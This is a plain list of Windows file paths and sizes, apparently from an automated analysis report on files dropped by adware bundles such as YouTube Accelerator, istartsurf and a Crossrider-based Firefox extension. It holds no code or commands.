C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BD5.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3128_YouTubeAcceleratorService.log_tmp (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (228930 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BFA.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3112_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CE1.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BB4.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2C0C.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2D14.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2C9A.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log (83886 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log_tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\efe1d41ed44b9924ef981f2cd9a0fa86.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\54c6db31c60cd4d1c53fb9c7cd0b8647.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e9b7299021cb1d93153b54791fd9f93e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7773659a3dac1b071673ef1d2c702f20.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6bb93d792109156f2970f7ba5f3a8493.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\de5d70306ec6636537f3217120f32b78.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\41f8468d880755a268e0967c0e3f2835.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\74dffe9cd310c030cc75b6b2bd2ae771.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b1ad372f656ea615fb064aad665dd63e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6788e04c3053d6cff5c4ce46195957c8.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cc3902e2ec6372ed3cb1236be03746cc.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\07a80c81e0558cef23093164d81b22e6.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\eb81d644fc82ebdbae2a236482e77246.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2455d7fee30b3004397475628e480968.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\815bf80b491fd57bb59944f4f7dffab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\2b8c9325c8adb2471be3be97be2c6fbe.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9be124552a2e2a730aa9ac34f3fa9d42.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\8817c9391389727c9655917fd4338ae6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\901ae9b5a6e40182d52e76aec247577e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\85f7cca8039aeef5d426f795ee0f1a15.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\cb7d126926f42347fc55698a83cd70ca.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f6758dc126ca0a23945f96c0c3703753.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\516526ab82e76be898474ca408b835f7.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\57903bc84fe2eda487d1562fe3eee754.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b705cd1012436d67bda616e7599dcae6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\da200d89c0fd7a21c76daf037ab8b218.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b926fde121b0294728fc12add7ec3f44.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\aa839c382b46c5eb9c3416ef18e3f16c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0fbc559e29069451133b7297f27a21b5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\bf684456bf984e99606a9f5619343777.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\856d00536904396b2c7828a7ada5f3f1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\26452309815d303f673a0e1806fdea92.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c5dc6502ea8c1370834237053bde1d1b.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d805fd3e40449a3a3ca607cd503f2fd6.js (659 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\17bd02c5b6befffac5969158dbd498b7.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\0962972af428444d71abe83599230e4e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\082687884ee204327f5e44a79427b0c8.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\679c00f973d3b35e73892affc2cedc8c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\73072fb329ad88a24778cd6225c95188.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a628d957c3645456d3a375accac02293.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\08b647e89803dede7f0b08137f4ee061.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8ab0612503be70b0febc1b6f0dcce6a7.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.2 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.3 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.0 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.1 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.6 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.7 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.4 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.6-win32.exe.5 (178121 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula[1].htm (1056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\eula-istartsurf[1].htm (1053 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F6BD.tmp (33816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyoThreeWavesBG[1].jpg (1068 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\607deb71d8f3494f867a2b514a49c4e9[1].htm (34475 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\eula-swiftrecord[1].htm (4337 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\79cd9608cbc574cda703885a72c26c59.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f822085f6f2d043dcfb9cc15326dc931.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b560f312f816900ad27d22266c160cd3.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8241757fd0e2ce6682b59b4502ad2ac7.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\343fe0794bec5f30b51ee31495f6e6a1.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\573dd7d3021b62726cb3e48961c2e237.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\efad449a49195da5219facd8f9e7ec70.js (22 bytes)
